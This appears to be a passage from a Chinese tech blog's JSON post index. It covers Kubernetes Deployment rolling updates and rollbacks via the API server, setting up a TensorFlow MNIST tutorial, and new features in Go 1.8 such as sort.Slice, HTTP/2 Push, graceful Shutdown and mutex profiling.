deployment-demo-v0.2.yaml转换为json格式：deployment-demo-v0.2.json。patch是局部更新，这里偷个懒儿，直接将全部deployment manifest内容发给了APIServer，让server自己做merge^0^。\n执行下面curl命令：\n# curl -H 'Content-Type:application/strategic-merge-patch+json' -X PATCH --data @deployment-demo-v0.2.json http://localhost:8080/apis/extensions/v1beta1/namespaces/default/deployments/deployment-demo 这个命令输出一个merge后的Deployment json文件，由于内容太多，这里就不贴出来了，内容参见：patch-api-output.txt。\n跟踪命令执行时的deployment状态，我们可以看到该命令生效了：新旧两个rs的Scale值在此消彼长，两个版本的Pod在交替提供服务。\n# kubectl get rs NAME DESIRED CURRENT READY AGE deployment-demo-1818355944 3 3 3 12h deployment-demo-2775967987 2 2 2 12h # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.11.9 ... ... # curl -I http://10.109.173.225:80 HTTP/1.1 200 OK Server: nginx/1.10.1 ... ... 不过通过这种方式update后，通过rollout history查看到的历史就有些“不那么精确了”：\n#kubectl rollout history deployment deployment-demo deployments \u0026quot;deployment-demo\u0026quot; REVISION CHANGE-CAUSE 8 kubectl create -f deployment-demo-v0.1.yaml --record 9 kubectl create -f deployment-demo-v0.1.yaml --record 目前尚无好的方法。但rolling update的确是ok了。\nPatch API支持三种类型的Content-type：json-patch+json、strategic-merge-patch+json和merge-patch+json。对于后面两种，从测试效果来看，都一样。但json-patch+json这种类型在测试的时候一直报错：\n# curl -H 'Content-Type:application/json-patch+json' -X PATCH --data @deployment-demo-v0.2.json http://localhost:8080/apis/extensions/v1beta1/namespaces/default/deployments/deployment-demo { \u0026quot;kind\u0026quot;: \u0026quot;Status\u0026quot;, \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;metadata\u0026quot;: {}, \u0026quot;status\u0026quot;: \u0026quot;Failure\u0026quot;, \u0026quot;message\u0026quot;: \u0026quot;json: cannot unmarshal object into Go value of type jsonpatch.Patch\u0026quot;, \u0026quot;code\u0026quot;: 500 } kubectl patch子命令似乎使用的是strategic-merge-patch+json。源码中也没有过多说明三种方式的差别：\n//pkg/kubectl/cmd/patch.go func getPatchedJSON(patchType api.PatchType, originalJS, patchJS []byte, obj runtime.Object) ([]byte, error) { switch patchType { case api.JSONPatchType: patchObj, err := jsonpatch.DecodePatch(patchJS) if err != nil { return nil, err } return patchObj.Apply(originalJS) case api.MergePatchType: return jsonpatch.MergePatch(originalJS, patchJS) case api.StrategicMergePatchType: return strategicpatch.StrategicMergePatchData(originalJS, patchJS, obj) default: // only here as a safety net - go-restful filters content-type return nil, fmt.Errorf(\u0026quot;unknown Content-Type header for patch: %v\u0026quot;, patchType) } } // DecodePatch decodes the passed JSON document as an RFC 6902 patch. // MergePatch merges the patchData into the docData. // StrategicMergePatch applies a strategic merge patch. The patch and the original document // must be json encoded content. A patch can be created from an original and a modified document // by calling CreateStrategicMergePatch. 接下来，我们使用deployment rollback API实现deployment的rollback。我们创建一个deployment-demo-rollback.json文件作为请求的内容：\n//deployment-demo-rollback.json { \u0026quot;name\u0026quot; : \u0026quot;deployment-demo\u0026quot;, \u0026quot;rollbackTo\u0026quot; : { \u0026quot;revision\u0026quot; : 0 } } revision:0 表示回退到上一个revision。执行下面命令实现rollback：\n# curl -H 'Content-Type:application/json' -X POST --data @deployment-demo-rollback.json http://localhost:8080/apis/extensions/v1beta1/namespaces/default/deployments/deployment-demo/rollback { \u0026quot;kind\u0026quot;: \u0026quot;Status\u0026quot;, \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;metadata\u0026quot;: {}, \u0026quot;status\u0026quot;: \u0026quot;Failure\u0026quot;, \u0026quot;message\u0026quot;: \u0026quot;rollback request for deployment \\\u0026quot;deployment-demo\\\u0026quot; succeeded\u0026quot;, \u0026quot;code\u0026quot;: 200 } # kubectl describe deployment/deployment-demo ... ... Events: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- ... ... 27s 27s 1 {deployment-controller } Normal DeploymentRollback Rolled back deployment \u0026quot;deployment-demo\u0026quot; to revision 1 ... ... 通过查看deployment状态可以看出rollback成功了。但这个API的response似乎有些bug，明明是succeeded了(code:200)，但status却是”Failure”。\n如果你在patch或rollback过程中还遇到什么其他问题，可以通过kubectl describe deployment/deployment-demo 查看输出的Events中是否有异常提示。\n五、小结 从上面的实验来看，通过Kubernetes提供的API是可以实现Service中Pods的rolling-update的，但这更适用于无状态的Service。对于那些有状态的Service（通过PetSet或是1.5版本后的Stateful Set实现的），这么做是否还能满足要求还不能确定。由于暂时没有环境，这方面尚未测试。\n上述各个manifest的源码可以在这里下载到。\n","permalink":"https://tonybai.com/2017/02/09/rolling-update-for-services-in-kubernetes-cluster/","summary":"\u003cp\u003e在移动互联网时代，消费者的消费行为已经“全天候化”，为此，商家的业务系统也要保持7×24小时不间断地提供服务以满足消费者的需求。很难想像如今还会有以“中断业务”为前提的服务系统更新升级。如果\u003ca href=\"http://weixin.qq.com/\"\u003e微信\u003c/a\u003e官方发布公告说：每周六晚23:00~次日凌晨2:00进行例行系统升级，不能提供服务，作为用户的你会怎么想、怎么做呢？因此，各个平台在最初设计时就要考虑到服务的更新升级问题，部署在\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003eKubernetes集群\u003c/a\u003e中的Service也不例外。\u003c/p\u003e","title":"Kubernetes集群中Service的滚动更新"},{"content":"首先，我不得不承认这篇文章有些标题党的味道^0^，但文章还是要继续写下去，备忘也好，能帮助到一些人也好。\n在2016小结的时候，我说过：2017年要了解一些有关机器学习和人工智能(以下简称AI)方面的技术。如果有童鞋问：Why？我会告诉你：跟风。作为技术人，关注和紧跟业界最前沿的技术总是没错的。\n2016年被业界普遍认为是AI这一波高速发展的元年，当然DeepMind的AlphaGo在这方面所起到的作用是功不可没的。不过人工智能并未仅仅停留在实验室，目前可以说人工智能已经深入到我们生活中的方方面面，比如：电商的精准个性化商品推荐、手机上安装的科大讯飞的中文语音识别引擎以及大名鼎鼎的Apple的siri等。只是普通老百姓并没有意识到这一点，或者说当前AI的存在和运行形式与大家传统思想中的“AI”还未到形似的地步，再或者当前AI的智能程度还未让人们感觉到AI时代的到来。\n人工智能是当前的技术风口，也是投资风口。不过，人工智能技术与普通的IT技术不同的地方在于其背后需要大量且有一定深度的数学理论知识，有门槛，并且门槛较高，这会让普通程序员望而却步的。还好有国际大公司，比如:Google、Facebook等在努力在降低这一门槛，让人工智能技术更加接地气，让更多从事IT领域的人能接触到AI，并思考如何利用AI解决实际问题。Google的TensorFlow应该就是在这样的背景下诞生的。\n这里并不打算介绍TensorFlow是什么，其原理是什么（因为目前我也不知道），只是利用TensorFlow简简单单地建立起一个神经网络模型，带着大家感性的认知一下什么是AI。本文特别适合那些像我一样，从未接触过AI，但又想感性认识AI的程序员童鞋们。\n一、由来 和AI门外的程序员童鞋一样，想窥探AI的世界已久，但苦于没有引路人，一直在门外徘徊。直到看到martin gorner的那篇《TensorFlow and deep learning, without a PhD》。在这篇文章中，martin已经将利用TensorFlow建立并一步步训练优化一个神经网络的门槛降低到了最简化的程度了。不过即便这样，把martin所使用这个环境搭建起来（文中虽然有详细步骤），可能依旧会遇到一些问题，本文的目的之一就是帮助你迈过这“最后一公里”。\n二、搭建环境 我所使用的环境是一台think center x86_64物理机，安装的是ubuntu 16.04.1。相关软件版本：\n$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) $ git version git version 2.7.4 按照教程中INSTALL.txt中的步骤，我们需要安装依赖软件：\n$ sudo apt-get install python3 正在读取软件包列表... 完成 正在分析软件包的依赖关系树 正在读取状态信息... 完成 python3 已经是最新版 (3.5.1-3)。 升级了 0 个软件包，新安装了 0 个软件包，要卸载 0 个软件包，有 203 个软件包未被升级。 $ sudo apt-get install python3-matplotlib python3-matplotlib 已经是最新版 (1.5.1-1ubuntu1)。 $sudo apt-get install python3-pip python3-pip 已经是最新版 (8.1.1-2ubuntu0.4)。 $ pip3 install --upgrade tensorflow Collecting tensorflow Downloading tensorflow-0.12.1-cp35-cp35m-manylinux1_x86_64.whl (43.1MB) ... ... Installing collected packages: numpy, six, wheel, setuptools, protobuf, tensorflow Successfully installed numpy-1.11.0 protobuf setuptools-20.7.0 six-1.10.0 tensorflow wheel-0.29.0 我们看到安装的TensorFlow是0.12.1版本，这应该是TensorFlow发布1.0版本前的最后一个Release版了。\n下载Martin的教程代码：\n$ mkdir -p ~/test/tensorflow $ git clone https://github.com/martin-gorner/tensorflow-mnist-tutorial.git 正克隆到 'tensorflow-mnist-tutorial'... remote: Counting objects: 271, done. remote: Total 271 (delta 0), reused 0 (delta 0), pack-reused 271 接收对象中: 100% (271/271), 95.01 KiB | 46.00 KiB/s, 完成. 处理 delta 中: 100% (171/171), 完成. 检查连接... 完成。 我使用的tutorial的revision是：commit a9eb2bfcd74df4d7f3891d5403468d87547320e8。\n三、建立并训练识别手写数字的神经网络 万事俱备，只差执行。\n一起来建立我们的第一个神经网络：\n$cd ~/test/tensorflow/tensorflow-mnist-tutorial $ ls cloudml LICENSE mnist_2.2_five_layers_relu_lrdecay_dropout.py mnist_4.1_batchnorm_five_layers_relu.py tensorflowvisu_digits.py CONTRIBUTING.md mnist_1.0_softmax.py mnist_3.0_convolutional.py mnist_4.2_batchnorm_convolutional.py tensorflowvisu.mplstyle data mnist_2.0_five_layers_sigmoid.py mnist_3.1_convolutional_bigger_dropout.py __pycache__ tensorflowvisu.py INSTALL.txt mnist_2.1_five_layers_relu_lrdecay.py mnist_4.0_batchnorm_five_layers_sigmoid.py README.md $ python3 mnist_1.0_softmax.py /usr/lib/python3/dist-packages/matplotlib/font_manager.py:273: UserWarning: Matplotlib is building the font cache using fc-list. This may take a moment. warnings.warn('Matplotlib is building the font cache using fc-list. This may take a moment.') /usr/lib/python3/dist-packages/matplotlib/font_manager.py:273: UserWarning: Matplotlib is building the font cache using fc-list. This may take a moment. warnings.warn('Matplotlib is building the font cache using fc-list. This may take a moment.') Successfully downloaded train-images-idx3-ubyte.gz 9912422 bytes. Extracting data/train-images-idx3-ubyte.gz Successfully downloaded train-labels-idx1-ubyte.gz 28881 bytes. Extracting data/train-labels-idx1-ubyte.gz Successfully downloaded t10k-images-idx3-ubyte.gz 1648877 bytes. Extracting data/t10k-images-idx3-ubyte.gz Successfully downloaded t10k-labels-idx1-ubyte.gz 4542 bytes. Extracting data/t10k-labels-idx1-ubyte.gz Traceback (most recent call last): File \u0026quot;mnist_1.0_softmax.py\u0026quot;, line 80, in \u0026lt;module\u0026gt; datavis = tensorflowvisu.MnistDataVis() File \u0026quot;/home/tonybai/test/tensorflow/tensorflow-mnist-tutorial/tensorflowvisu.py\u0026quot;, line 166, in __init__ self._color4 = self.__get_histogram_cyclecolor(histogram4colornum) File \u0026quot;/home/tonybai/test/tensorflow/tensorflow-mnist-tutorial/tensorflowvisu.py\u0026quot;, line 160, in __get_histogram_cyclecolor colors = clist.by_key()['color'] AttributeError: 'Cycler' object has no attribute 'by_key' 出错了！\n这里要注意的是：初次建立时，程序会首先从MNIST dataset下载训练数据文件，这里需要等待一段时间，千万别认为是程序出现什么hang住的异常情况。\n之后的AttributeError才是真正的出错了！直觉告诉我是课程程序依赖的某个第三方库版本的问题，但又不知道是哪个库，于是我用临时处理方案fix it：\n//tensorflowvisu.py #self._color4 = self.__get_histogram_cyclecolor(histogram4colornum) #self._color5 = self.__get_histogram_cyclecolor(histogram5colornum) self._color4 = '#CFF57F' self._color5 = '#E6C54A' 我把出错的调用注释掉，用hardcoding的方式直接赋值了两个color。\n再次运行这个模型，我们终于看到那个展示训练过程的“高大上”的窗口弹了出来：\n运行一段时间后，当序号递增到2001时，程序hang住了。最初我以为是程序又出了错，最后在Martin的解释下，我才明白原来是训练结束了。在mnist_1.0_softmax.py文件末尾，我们可以看到这样一行注释：\n# final max test accuracy = 0.9268 (10K iterations). Accuracy should peak above 0.92 in the first 2000 iterations. 这里告诉我们对神经网络的训练会进行多少次iterations。mnist_1.0_softmax.py需要2000次。tensorflow-mnist-tutorial下的每个训练程序文件末尾都有iteration次数，只不过有的说明简单些，有些复杂些罢了。\n在另外一个issue中，Martin也回应了上面的error问题，他的solution是：\npip3 install --upgrade matplotlib 我实测后，发现问题的确消失了！\n四、小结 识别手写数字较为简单，采用softmax都可以将识别率训练到92%左右。采用其他几个模型，比如：mnist_4.1_batchnorm_five_layers_relu.py，可以将识别准确率提升到98%，甚至更高。\n将这个教程运行起来的第一感觉就是AI真的很“高大上”，看着刷屏的日志和不断变化的UI，真有些科幻大片的赶脚，看起来也让你感觉心旷神怡。\n不过目前仅仅停留在感性认知，深入理解TensorFlow背后的运行原理以及训练模型背后的理论才算是真正入门，这里仅仅是在AI领域迈出的一小步罢了^0^。\n","permalink":"https://tonybai.com/2017/02/06/build-your-first-neural-network-with-tensorflow/","summary":"\u003cp\u003e首先，我不得不承认这篇文章有些标题党的味道^0^，但文章还是要继续写下去，备忘也好，能帮助到一些人也好。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"http://tonybai.com/2017/01/03/2016-summary/\"\u003e2016小结\u003c/a\u003e的时候，我说过：2017年要了解一些有关\u003ca href=\"https://en.wikipedia.org/wiki/Machine_learning\"\u003e机器学习\u003c/a\u003e和\u003ca href=\"https://en.wikipedia.org/wiki/Artificial_intelligence\"\u003e人工智能\u003c/a\u003e(以下简称AI)方面的技术。如果有童鞋问：Why？我会告诉你：跟风。作为技术人，关注和紧跟业界最前沿的技术总是没错的。\u003c/p\u003e\n\u003cp\u003e2016年被业界普遍认为是AI这一波高速发展的元年，当然\u003ca href=\"https://deepmind.com/\"\u003eDeepMind\u003c/a\u003e的\u003ca href=\"https://en.wikipedia.org/wiki/AlphaGo\"\u003eAlphaGo\u003c/a\u003e在这方面所起到的作用是功不可没的。不过人工智能并未仅仅停留在实验室，目前可以说人工智能已经深入到我们生活中的方方面面，比如：电商的精准个性化商品推荐、手机上安装的\u003ca href=\"http://www.iflytek.com/\"\u003e科大讯飞\u003c/a\u003e的中文语音识别引擎以及大名鼎鼎的Apple的\u003ca href=\"https://en.wikipedia.org/wiki/Siri\"\u003esiri\u003c/a\u003e等。只是普通老百姓并没有意识到这一点，或者说当前AI的存在和运行形式与大家传统思想中的“AI”还未到形似的地步，再或者当前AI的智能程度还未让人们感觉到AI时代的到来。\u003c/p\u003e","title":"TensorFlow入门：零基础建立第一个神经网络"},{"content":"在已经过去的2016年，Go语言继在2009年之后再次成为编程语言界的明星- 问鼎TIOBE 2016年度语言。这与Go team、Go community和全世界的Gophers的努力是分不开的。按计划在这个2月份，Go team将正式发布Go 1.8版本(截至目前，Go的最新版本是Go 1.8rc3)。在这里我们一起来看一下在Go 1.8版本中都有哪些值得Gopher们关注的变化。\n一、语言（Language） Go 1.8版本依旧坚守Go Team之前的承诺，即Go1兼容性：使用Go 1.7及以前版本编写的Go代码，理论上都可以通过Go 1.8进行编译并运行。因此在臆想中的Go 2.0变成现实之前，每个Go Release版本在语言这方面的“改变”都会是十分微小的。\n1、仅tags不同的两个struct可以相互做显式类型转换 在Go 1.8版本以前，两个struct即便字段个数相同且每个字段类型均一样，但如果某个字段的tag描述不一样，这两个struct相互间也不能做显式类型转换，比如：\n//go18-examples/language/structtag.go package main import \u0026quot;fmt\u0026quot; type XmlEventRegRequest struct { AppID string `xml:\u0026quot;appid\u0026quot;` NeedReply int `xml:\u0026quot;Reply,omitempty\u0026quot;` } type JsonEventRegRequest struct { AppID string `json:\u0026quot;appid\u0026quot;` NeedReply int `json:\u0026quot;reply,omitempty\u0026quot;` } func convert(in *XmlEventRegRequest) *JsonEventRegRequest { out := \u0026amp;JsonEventRegRequest{} *out = (JsonEventRegRequest)(*in) return out } func main() { in := XmlEventRegRequest{ AppID: \u0026quot;wx12345678\u0026quot;, NeedReply: 1, } out := convert(\u0026amp;in) fmt.Println(out) } 采用Go 1.7.4版本go compiler进行编译，我们会得到如下错误输出：\n$go build structtag.go # command-line-arguments ./structtag.go:17: cannot convert *in (type XmlEventRegRequest) to type JsonEventRegRequest 但在Go 1.8中，gc将忽略tag值的不同，使得显式类型转换成为可能：\n$go run structtag.go \u0026amp;{wx12345678 1} 改变虽小，但带来的便利却不小，否则针对上面代码中的convert，我们只能做逐一字段赋值了。\n2、浮点常量的指数部分至少支持16bits长 在Go 1.8版本之前的The Go Programming Language Specificaton中，关于浮点数常量的指数部分的描述如下：\nRepresent floating-point constants, including the parts of a complex constant, with a mantissa of at least 256 bits and a signed exponent of at least 32 bits. 在Go 1.8版本中，文档中对于浮点数常量指数部分的长度的实现的条件放宽了，由支持最少32bit，放宽到最少支持16bits：\nRepresent floating-point constants, including the parts of a complex constant, with a mantissa of at least 256 bits and a signed binary exponent of at least 16 bits. 但Go 1.8版本go compiler实际仍然支持至少32bits的指数部分长度，因此这个改变对现存的所有Go源码不会造成影响。\n二、标准库（Standard Library） Go号称是一门”Batteries Included”编程语言。“Batteries Included”指的就是Go语言强大的标准库。使用Go标准库，你可以完成绝大部分你想要的功能，而无需再使用第三方库。Go语言的每次版本更新，都会在标准库环节增加强大的功能、提升性能或是提高使用上的便利性。每次版本更新，标准库也是改动最大的部分。这次也不例外，我们逐一来看。\n1、便于slice sort的sort.Slice函数 在Go 1.8之前我们要对一个slice进行sort，需要定义出实现了下面接口的slice type：\n//$GOROOT/src/sort.go ... ... type Interface interface { // Len is the number of elements in the collection. Len() int // Less reports whether the element with // index i should sort before the element with index j. Less(i, j int) bool // Swap swaps the elements with indexes i and j. Swap(i, j int) } 标准库定义了一些应对常见类型slice的sort类型以及对应的函数：\nStringSlice -\u0026gt; sort.Strings IntSlice -\u0026gt; sort.Ints Float64Slice -\u0026gt; sort.Float64s 但即便如此，对于用户定义的struct或其他自定义类型的slice进行排序仍需定义一个新type，比如下面这个例子中的TiboeIndexByRank：\n//go18-examples/stdlib/sort/sortslice-before-go18.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sort\u0026quot; ) type Lang struct { Name string Rank int } type TiboeIndexByRank []Lang func (l TiboeIndexByRank) Len() int { return len(l) } func (l TiboeIndexByRank) Less(i, j int) bool { return l[i].Rank \u0026lt; l[j].Rank } func (l TiboeIndexByRank) Swap(i, j int) { l[i], l[j] = l[j], l[i] } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } sort.Sort(TiboeIndexByRank(langs)) fmt.Printf(\u0026quot;%v\\n\u0026quot;, langs) } $go run sortslice-before-go18.go [{go 1} {rust 2} {swift 3}] 从上面的例子可以看到，我们要对[]Lang这个slice进行排序，我们就需要为之定义一个专门用于排序的类型：这里是TiboeIndexByRank，并让其实现sort.Interface接口。使用过sort包的gophers们可能都意识到了，我们在为新的slice type实现sort.Interface接口时，那三个方法的Body几乎每次都是一样的。为了使得gopher们在排序slice时编码更为简化和便捷，减少copy\u0026amp;paste，Go 1.8为slice type新增了三个函数：Slice、SliceStable和SliceIsSorted。我们重新用Go 1.8的sort.Slice函数实现上面例子中的排序需求，代码如下：\n//go18-examples/stdlib/sort/sortslice-in-go18.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;sort\u0026quot; ) type Lang struct { Name string Rank int } func main() { langs := []Lang{ {\u0026quot;rust\u0026quot;, 2}, {\u0026quot;go\u0026quot;, 1}, {\u0026quot;swift\u0026quot;, 3}, } sort.Slice(langs, func(i, j int) bool { return langs[i].Rank \u0026lt; langs[j].Rank }) fmt.Printf(\u0026quot;%v\\n\u0026quot;, langs) } $go run sortslice-in-go18.go [{go 1} {rust 2} {swift 3}] 实现sort，需要三要素：Len、Swap和Less。在1.8之前，我们通过实现sort.Interface实现了这三个要素；而在1.8版本里，Slice函数通过reflect获取到swap和length，通过结合闭包实现的less参数让Less要素也具备了。我们从下面sort.Slice的源码可以看出这一点：\n// $GOROOT/src/sort/sort.go ... ... func Slice(slice interface{}, less func(i, j int) bool) { rv := reflect.ValueOf(slice) swap := reflect.Swapper(slice) length := rv.Len() quickSort_func(lessSwap{less, swap}, 0, length, maxDepth(length)) } 2、支持HTTP/2 Push 继在Go 1.6版本全面支持HTTP/2之后，Go 1.8又新增了对HTTP/2 Push的支持。HTTP/2是在HTTPS的基础上的下一代HTTP协议，虽然当前HTTPS的应用尚不是十分广泛。而HTTP/2 Push是HTTP/2的一个重要特性，无疑其提出的初衷也仍然是为了改善网络传输性能，提高Web服务的用户侧体验。这里我们可以借用知名网络提供商Cloudflare blog上的一幅示意图来诠释HTTP/2 Push究竟是什么：\n从上图中，我们可以看到：当Browser向Server发起Get page.html请求后，在同一条TCP Connection上，Server主动将style.css和image.png两个资源文件推送(Push)给了Browser。这是由于Server端启用了HTTP/2 Push机制，并预测判断Browser很可能会在接下来发起Get style.css和image.png两个资源的请求。这是一种典型的：“你可能会需要，但即使你不要，我也推给你”的处世哲学^0^。这种机制虽然在一定程度上能改善网络传输性能（减少Client发起Get的次数），但也可能造成带宽的浪费，因为这些主动推送给Browser的资源很可能是Browser所不需要的或是已经在Browser cache中存在的资源。\n接下来，我们来看看Go 1.8是如何在net/http包中提供对HTTP/2 Push的支持的。由于HTTP/2是基于HTTPS的，因此我们先使用generate_cert.go生成程序所需的私钥和证书：\n// 在go18-examples/stdlib/http2-push目录下，执行： $go run $GOROOT/src/crypto/tls/generate_cert.go --host 127.0.0.1 2017/01/27 10:58:01 written cert.pem 2017/01/27 10:58:01 written key.pem 支持HTTP/2 Push的server端代码如下：\n// go18-examples/stdlib/http2-push/server.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; ) const mainJS = `document.write('Hello World!');` func main() { http.Handle(\u0026quot;/static/\u0026quot;, http.StripPrefix(\u0026quot;/static/\u0026quot;, http.FileServer(http.Dir(\u0026quot;./static\u0026quot;)))) http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { if r.URL.Path != \u0026quot;/\u0026quot; { http.NotFound(w, r) return } pusher, ok := w.(http.Pusher) if ok { // If it's a HTTP/2 Server. // Push is supported. Try pushing rather than waiting for the browser. if err := pusher.Push(\u0026quot;/static/img/gopherizeme.png\u0026quot;, nil); err != nil { log.Printf(\u0026quot;Failed to push: %v\u0026quot;, err) } } fmt.Fprintf(w, `\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Hello Go 1.8\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;img src=\u0026quot;/static/img/gopherizeme.png\u0026quot;\u0026gt;\u0026lt;/img\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; `) }) log.Fatal(http.ListenAndServeTLS(\u0026quot;:8080\u0026quot;, \u0026quot;./cert.pem\u0026quot;, \u0026quot;./key.pem\u0026quot;, nil)) } 运行这段代码，打开Google Chrome浏览器，输入：https://127.0.0.1:8080，忽略浏览器的访问非受信网站的警告，继续浏览你就能看到下面的页面（这里打开了Chrome的“检查”功能）：\n从示例图中的“检查”窗口，我们可以看到gopherizeme.png这个image资源就是Server主动推送给客户端的，这样浏览器在Get /后无需再发起一次Get /static/img/gopherizeme.png的请求了。\n而这一切的背后，其实是HTTP/2的ResponseWriter实现了Go 1.8新增的http.Pusher interface：\n// $GOROOT/src/net/http/http.go // Pusher is the interface implemented by ResponseWriters that support // HTTP/2 server push. For more background, see // https://tools.ietf.org/html/rfc7540#section-8.2. type Pusher interface { ... ... Push(target string, opts *PushOptions) error } 3、支持HTTP Server优雅退出 Go 1.8中增加对HTTP Server优雅退出(gracefullly exit)的支持，对应的新增方法为：\nfunc (srv *Server) Shutdown(ctx context.Context) error 和server.Close在调用时瞬间关闭所有active的Listeners和所有状态为New、Active或idle的connections不同，server.Shutdown首先关闭所有active Listeners和所有处于idle状态的Connections，然后无限等待那些处于active状态的connection变为idle状态后，关闭它们并server退出。如果有一个connection依然处于active状态，那么server将一直block在那里。因此Shutdown接受一个context参数，调用者可以通过context传入一个Shutdown等待的超时时间。一旦超时，Shutdown将直接返回。对于仍然处理active状态的Connection，就任其自生自灭（通常是进程退出后，自动关闭）。通过Shutdown的源码我们也可以看出大致的原理：\n// $GOROOT/src/net/http/server.go ... ... func (srv *Server) Shutdown(ctx context.Context) error { atomic.AddInt32(\u0026amp;srv.inShutdown, 1) defer atomic.AddInt32(\u0026amp;srv.inShutdown, -1) srv.mu.Lock() lnerr := srv.closeListenersLocked() srv.closeDoneChanLocked() srv.mu.Unlock() ticker := time.NewTicker(shutdownPollInterval) defer ticker.Stop() for { if srv.closeIdleConns() { return lnerr } select { case \u0026lt;-ctx.Done(): return ctx.Err() case \u0026lt;-ticker.C: } } } 我们来编写一个例子：\n// go18-examples/stdlib/graceful/server.go import ( \u0026quot;context\u0026quot; \u0026quot;io\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;os\u0026quot; \u0026quot;os/signal\u0026quot; \u0026quot;time\u0026quot; ) func main() { exit := make(chan os.Signal) signal.Notify(exit, os.Interrupt) http.HandleFunc(\u0026quot;/\u0026quot;, func(w http.ResponseWriter, r *http.Request) { log.Println(\u0026quot;Handle a new request:\u0026quot;, *r) time.Sleep(10 * time.Second) log.Println(\u0026quot;Handle the request ok!\u0026quot;) io.WriteString(w, \u0026quot;Finished!\u0026quot;) }) srv := \u0026amp;http.Server{ Addr: \u0026quot;:8080\u0026quot;, Handler: http.DefaultServeMux, } go func() { if err := srv.ListenAndServe(); err != nil { log.Printf(\u0026quot;listen: %s\\n\u0026quot;, err) } }() \u0026lt;-exit // wait for SIGINT log.Println(\u0026quot;Shutting down server...\u0026quot;) // Wait no longer than 30 seconds before halting ctx, _ := context.WithTimeout(context.Background(), 30*time.Second) err := srv.Shutdown(ctx) log.Println(\u0026quot;Server gracefully stopped:\u0026quot;, err) } 在上述例子中，我们通过设置Linux Signal的处理函数来拦截Linux Interrupt信号并处理。我们通过context给Shutdown传入30s的超时参数，这样Shutdown在退出之前会给各个Active connections 30s的退出时间。下面分为几种情况run一下这个例子：\na) 当前无active connections\n在这种情况下，我们run上述demo，ctrl + C后，上述demo直接退出：\n$go run server.go ^C2017/02/02 15:13:16 Shutting down server... 2017/02/02 15:13:16 Server gracefully stopped: \u0026lt;nil\u0026gt; b) 当前有未处理完的active connections，ctx 超时\n为了模拟这一情况，我们修改一下参数。让每个request handler的sleep时间为30s，而Shutdown ctx的超时时间改为10s。我们再来运行这个demo，并通过curl命令连接该server(curl -v http://localhost:8080)，待连接成功后，再立即ctrl+c停止Server，待约10s后，我们得到如下日志：\n$go run server.go 2017/02/02 15:15:57 Handle a new request: {GET / HTTP/1.1 1 1 map[User-Agent:[curl/7.30.0] Accept:[*/*]] {} \u0026lt;nil\u0026gt; 0 [] false localhost:8080 map[] map[] \u0026lt;nil\u0026gt; map[] [::1]:52590 / \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; 0xc420016700} ^C2017/02/02 15:15:59 Shutting down server... 2017/02/02 15:15:59 listen: http: Server closed 2017/02/02 15:16:09 Server gracefully stopped: context deadline exceeded c) 当前有未处理完的active connections，ctx超时之前，这些connections处理ok了\n我们将上述demo的参数还原，即request handler sleep 10s，而Shutdown ctx超时时间为30s，运行这个Demo后，通过curl命令连接该server，待连接成功后，再立即ctrl+c停止Server。等待约10s后，我们得到如下日志：\n$go run server.go 2017/02/02 15:19:56 Handle a new request: {GET / HTTP/1.1 1 1 map[User-Agent:[curl/7.30.0] Accept:[*/*]] {} \u0026lt;nil\u0026gt; 0 [] false localhost:8080 map[] map[] \u0026lt;nil\u0026gt; map[] [::1]:52605 / \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; 0xc420078500} ^C2017/02/02 15:19:59 Shutting down server... 2017/02/02 15:19:59 listen: http: Server closed 2017/02/02 15:20:06 Handle the request ok! 2017/02/02 15:20:06 Server gracefully stopped: \u0026lt;nil\u0026gt; 可以看出，当ctx超时之前，request处理ok，connection关闭。这时不再有active connection和idle connection了，Shutdown成功返回，server立即退出。\n4、Mutex Contention Profiling Go 1.8中runtime新增了对Mutex和RWMutex的profiling(剖析)支持。golang team成员，负责从go user角度去看待go team的work是否满足用户需求的Jaana B. Dogan在其个人站点上写了一篇介绍mutex profiling的文章，这里借用一下其中的Demo：\n//go18-examples/stdlib/mutexprofile/mutexprofile.go package main import ( \u0026quot;net/http\u0026quot; _ \u0026quot;net/http/pprof\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var mu sync.Mutex var items = make(map[int]struct{}) runtime.SetMutexProfileFraction(5) for i := 0; i \u0026lt; 1000*1000; i++ { go func(i int) { mu.Lock() defer mu.Unlock() items[i] = struct{}{} }(i) } http.ListenAndServe(\u0026quot;:8888\u0026quot;, nil) } 运行该程序后，在浏览器中输入：http://localhost:8888/debug/pprof/mutex，你就可以看到有关该程序的mutex profile（耐心等待一小会儿，因为数据的采样需要一点点时间^0^）：\n--- mutex: cycles/second=2000012082 sampling period=5 378803564 776 @ 0x106c4d1 0x13112ab 0x1059991 构建该程序，然后通过下面命令：\ngo build mutexprofile.go ./mutexprofile go tool pprof mutexprofile http://localhost:8888/debug/pprof/mutex?debug=1 可以进入pprof交互界面，这个是所有用过go pprof工具的gophers们所熟知的：\n$go tool pprof mutexprofile http://localhost:8888/debug/pprof/mutex?debug=1 Fetching profile from http://localhost:8888/debug/pprof/mutex?debug=1 Saved profile in 